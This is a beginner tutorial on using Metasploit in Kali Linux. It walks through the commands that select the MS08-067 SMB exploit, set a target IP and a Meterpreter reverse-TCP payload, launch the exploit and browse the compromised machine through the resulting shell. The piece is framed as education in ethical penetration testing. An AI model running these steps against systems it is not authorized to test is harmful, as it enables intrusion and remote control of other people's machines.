Metasploit is one of the most popular penetration testing tools used by ethical hackers and security professionals to test the security of computer systems. Kali Linux is a Debian-based Linux distribution specifically designed for digital forensics and penetration testing, which comes with over 600 preinstalled tools used for hacking and security testing - including Metasploit.
Using the Metasploit framework in Kali Linux provides a powerful environment to perform various penetration testing techniques and simulate cyber attacks. Here is a simple step-by-step guide on how to use Metasploit in Kali Linux:
Prerequisites
The Kali Linux operating system was installed and updated
Basic understanding of the Linux command line
Understanding of basic networking concepts
Steps to Use Metasploit
1. Open Kali Linux Terminal
Open the Kali Linux terminal using the Ctrl+Alt+T keyboard shortcut or by clicking on the terminal icon in the menu. This will open a command line interface window to execute Linux commands.
2. Start Metasploit Framework
Type the following command in the terminal to start the Metasploit console:
msfconsole
This will start the Metasploit console which shows the msf > prompt indicating you are inside the framework.
3. Check Modules in Metasploit
To see all the available modules in Metasploit, use the following command:
show modules
This displays a list of exploit modules, payloads, auxiliary modules etc. that can be used in penetration tests.
4. Select a Module
Choose any attack module you want to use. For example, to use the SMB exploit module:
use exploit/windows/smb/ms08_067_netapi
Replace the module name with the one you want to use. This will select the specified module.
5. Configure the Exploit
Set the required options for the selected exploit using the "set" command:
set RHOST 192.168.1.5
set PAYLOAD windows/meterpreter/reverse_tcp
RHOST refers to the target IP address and PAYLOAD is the attack to execute on exploitation.
6. Launch the Exploit
Type the following command to launch the exploit against the target:
exploit
If the exploit is successful, you will get a meterpreter shell session of the target.
7. Interact with the Session
Use commands like help, ls, pwd, cd etc. to navigate through the target's directories and interact with the system.
This covers the basic process of using modules in the Metasploit framework to compromise a target machine. With practice, you can master using Metasploit to perform complex penetration tests.
Conclusion
Metasploit is an extremely powerful tool for testing infrastructure security. Kali Linux provides a perfect environment to unleash the full potential of Metasploit. Following the simple steps above, you can easily select any module, customize options, launch exploits and practice hacking legally using this open-source penetration testing framework.